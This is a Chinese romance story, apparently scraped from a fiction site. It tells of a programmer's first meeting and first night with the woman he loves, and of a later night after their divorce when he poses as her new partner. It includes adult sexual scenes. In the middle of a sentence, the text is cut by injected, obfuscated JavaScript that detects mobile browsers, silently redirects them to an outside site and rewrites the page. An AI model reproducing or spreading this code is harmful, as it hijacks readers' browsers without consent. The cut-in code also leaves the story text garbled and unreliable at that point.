2024年5月21日
【下雨天，你会想做什么？】
2024年8月16日
【帮你刮胡子】
他们的相遇和第一次都是在这样的雨天。
那一年他们二十岁。
他想好好读书，做个善良谦逊的人。没有人给他指路，他就自己翻论坛、查资料，一点点拼凑出“正确”的人生路径。选学校、选专业、找工作，每一步都稳妥、理性，从不左顾右盼。
他以为这就是生活的全部了，直到遇见叶星。
那天晚上十点多，外面下着淅淅沥沥的小雨，他坐在校门口的麦当劳里敲代码，准备通宵赶一场比赛。
有个女孩抱着一大堆模型材料冲进来，风风火火，一副快要崩溃的样子。她在他旁边的桌子上摊开工具，开始搭模型，嘴里念念有词，时不时骂上几句。
起初他嫌她吵，戴上耳机继续敲代码。可没一会儿他就悄悄摘下一只耳机，想听她到底在说什么。
凌晨四点，他终于敲完最后一行代码，运行顺利，准备靠在椅子上眯一会儿。可她那边忽然传来压抑的啜泣声。
他侧头看去，女孩低着头，一边抹眼泪一边还在拼模型，嘴里断断续续地嘟囔：“怎么又粘不上……烦死了……”
他犹豫了一下，还是起身走过去，给她递了纸巾。
“谢谢。我是不是吵到你了？对不起......”她接过纸巾，哭得更凶了
那是他第一次主动和陌生女孩说话。他手足无措，像系统崩溃了一样，整个人卡在那里，无法运行。
“你、你别哭啊……我帮你做，我……我帮你做……”他慌慌张张地蹲下来，语无伦次地安慰着，却完全不知道从哪句话开始才算得体。
她一边抽噎，一边继续摆弄那些材料，带着点鼻音断断续续地说：“宿舍进猫了……我的模型被它尿了……我明天就要交作业了……”
她抹了把眼泪，脸上脏兮兮的，手上沾满了胶水和灰尘。
“那猫特别可爱……我还想养它来着……可我没钱了……材料真的好贵……”她一边说一边涂胶水，眼泪一滴滴落在桌子。
他原本是想安慰她，却没忍住笑出声。她太可爱了，像小猫一样。
“你笑我？”她瞪着一双红红的眼睛看他。
“我笑猫……”他说。
他一点也不困了，帮她切材料、涂胶水、按压定型。亮时，他陪她一起把模型送到教学楼。
雨还在下，他抱着她的建筑模型，她撑着一把红色的雨伞。
她个子不高，差不多到他肩膀。小小的雨伞撑起来都没他肩宽，总是顶到他的头。他打趣说：“你这雨伞像帽子。”
后来他几乎每天都跑去那栋教学楼自习。叶星起初还以为他宿舍就在附近，直到他某次说漏嘴，她才知道，他住在另一个校区。
他犹豫着找个什么借口，比如说这边有课。叶星却忽然挽住他的胳膊，仰头问他：“你是不是喜欢我呀？”
她的眼睛亮亮的。他晦暗的生命，好像也被点亮了。
后来他之所以同意离婚，是因为他发现，她不那么兴高采烈了。如果他的离开能让她重新快乐，那他就走。可并不是。
叶星一天冒出好几个天马行空的念头。今天想种树，明天想逃课去西藏。她有时说完就忘，他却得绞尽脑汁去琢磨到底哪句是认真的。琢磨着琢磨着，他就得出了一个最稳妥的应对策略：先赚钱再说。
顾谨开始陆续参与各种项目。他的生活很简单：叶星、代码。机缘巧合之下他做的一个程序卖了专利，赚到了人生的第一桶金。当时的他对未来充满希望，笃信自己能给她最好的生活。
拿到第一笔钱的时候，他问她想要什么。叶星说，想去旅游。他看着她亮亮的眼睛，觉得自己这一生想做的事，好像就这么清楚了。
他们都没有出过远门。顾谨选了好几个地方，叶星说去云南。于是他做了很久的攻略，设计出最流畅的路线，订了最好的酒店。后来每一次旅行，也几乎都是由他一手安排。
叶星喜欢惊喜，顾谨便连目的地的照片都不让她看。甚至后来连目的地都保密，叶星有时到了机场才知道要去哪儿。
她走到哪儿都哇哇叫。顾谨是个很无趣的人，风景再美，也只会说一句“真美”。但他喜欢看她哇哇叫，喜欢她眼睛亮亮的，喜欢听她说一些他其实并不完全能理解的话。比如，她总说他像烤面包，有时又说他像个菠萝。
他觉得她像另一种动物，拥有与他截然不同的感官系统。她眼里的世界，比他多出许多维度，有趣极了。
后来他常常想，她或许就是不喜欢他的无聊。苏熠就是跟她一样有趣的人，沉默寡言但会为了爱奔赴星辰大海。
那天他们到酒店的时候，全身都湿透了。叶星洗完澡就趴在床上看雨，皮肤上还有些水汽。
他躺在她身边，看着她的侧脸。许是被他的目光触碰到了，她的睫毛颤了颤。他的呼吸变得有些粗重，她似乎也无心观雨了。
他仔仔细细地看着她的脸。有时候他也弄不明白，为什么自己会这么喜欢她。
他怕冲动，讨厌失序，不喜欢一切喧闹的事。可叶星是他想规避的一切的集合体。他经常被她吵得脑子嗡嗡响，但还是每天都想见到她。
他一向不允许计划之外的事发生。这趟旅行前，他设想过很多次会不会发生点什么。他甚至买了装备，又觉得太龌龊，丢了。又买，又丢。最终，他还是买了。
她软软地靠过来，像一只小猫，扒着他的胸膛蹭来蹭去。他听见胸腔里那颗心脏，被她一下一下地拨快了节奏。
“星星……”他喉咙发紧。
“嗯？”她仰头看他。
她澄澈的目光里满满都是藏不住的欢喜，像一束光，照见了他所有羞于启齿的欲念。他羞愧得不敢与她对视，只得低下头，将脸埋进她的颈窝。
她惊呼一声，他便立刻停住动作。像被钝器敲中神经，他脑中“嗡”地一声炸开。他撑着身体，手臂僵硬地支在她身侧，小心地拉开一点距离，维持一个勉强不算越界的距离。
他怕吓到她，更怕自己控制不住。可她在他怀里，不闪不避，就那样看着他。
窗外的雨淅淅沥沥，屋内心跳声清晰得像雷鸣。
“你的胡子……扎到我了。”她软乎乎地说。
他喉咙发紧：“那我刮了胡子……就可以了吗？”
他一寸寸靠近，她一寸寸后退。他以为她害怕了，可她攥着他的衣角不放。她总是这样，又胆小，又好奇。
他觉得自己好像在犯罪，心里充满歉疚。他的身体不听使唤，每一寸肌肤、每一个神经末梢都叫嚣着要靠近她、触碰她。
他的吻落在她肩头，顺着锁骨一路滑下。每一次触碰，他都会停顿，抬眼看她，确认她是否安好，是否还愿意。
她的呼吸有些急促，却不是慌乱，而是某种陌生的期待在她体内攒动。她有些克制不住地扭动，偶尔蹭到他一点，他就浑身颤栗。
“你是不是有点紧张？”她的声音软软的，像风一样吹进他耳朵里。
“有点。”他喉结
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558920|168646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
滚动，像是在低声认错。
她圈住他的脖子：“我有点害怕。”
“那......还继续吗？”他的声音几乎是颤的。
“你有没有看过一部电影，叫《漫长的婚约》？”
他抵着她的额头轻轻笑了，不知道她为什么偏要在这个时候说一部电影，却还是顺着她的节奏：“没有，你说。”
“那你关灯，我告诉你。”她眨巴着眼睛看他。
他听话地关了灯。
黑暗里，她坐起身，衣料摩擦的细碎声被黑暗放大。他的神经像被拉到极限的弦，连呼吸都小心翼翼。
“开灯。”
他抬手打开台灯。
她身上少了一件衣服，肌肤泛着微光。她抿着唇直勾勾地看着他，眼里是藏不住的欢喜。
“关灯。”
他差点笑出来，完全拿她没办法。又是一阵衣物落下的声音，他快疯了。
“开灯。”
他僵在原地，只剩下喉结可以滚动。
“可以了，关灯吧。”
第一次并不顺利。他中途停下来，打开手机认真地查攻略，一本正经地搜索“第一次怎么进去”。其实他之前偷偷查过了，但是没敢仔细看。
他还是太紧张，没撑多久就缴械了。他一边慌乱地道歉，一边抱紧她。她搂着他，软软地说：“我真的很喜欢你……”
后来的很多个雨夜，他们都会重复一次剧情。他们逐渐熟悉彼此的身体。她不再疼得发抖，他也不再慌乱。每次看着她微微扬起的唇角，他就会想起那句温柔的告白。她总爱笑他当年青涩的模样，笑他查攻略，笑着笑着又被他狠狠讨伐。
他们的最后一次，应该也是这样的雨夜。
他好想问一句：“下雨天，你躺在苏熠怀里，有没有哪怕一秒，是在想我？你把我当成他的同时，有没有哪怕一秒，把他当成我？”
他自己都觉得过于荒诞。
“你没刮胡子！”她澄澈的目光里，依旧是是藏不住的欢喜。
他知道不能再推开她了。再退一步，她会受挫，会难过，到时候真哄不好了。
“苏老师是不是紧张了……”她捧住他的脸，额头抵着他。
“需要我去刮个胡子吗？”他喉咙发紧。
像第一次一样，青涩一点，她就不会发现。
“我是苏熠。”他想着，像念着一个咒语。
他将她整个人抱了起来。
她惊呼了一声，下意识地搂住他的脖子，明知故问：“去哪儿？”
“回房间。”
他撑起身体，手臂僵硬地支在她身侧。
“叶星……”
“嗯？”她睫毛动了动。
“你刚刚，叫我什么？”
“苏老师。”她勾起嘴角，软软地说。
“苏老师有点紧张……”他也笑了，“你教教我，好不好？”
像暴雨落进沼泽，他的吻急切又混乱，却尽数被她吞没。他有些生涩，有些僵硬。
“准备开始了？”
“是这里吗？”
“可以吗？”
“……”
他一遍遍地问。叶星起初还能应声，到后来，只剩下含糊的呜咽。她想开口说点什么，可刚一张嘴，气息就散了。
她喜欢雨天，她说雨声能盖住慌乱的心跳。他真的听不见自己的心跳了。一下，一下，落在她身上的雨滴悄无声息地溅到他身上。他的身体与记忆，重新组合了。
她想要的，他都给。她需要苏熠，于是他成为苏熠。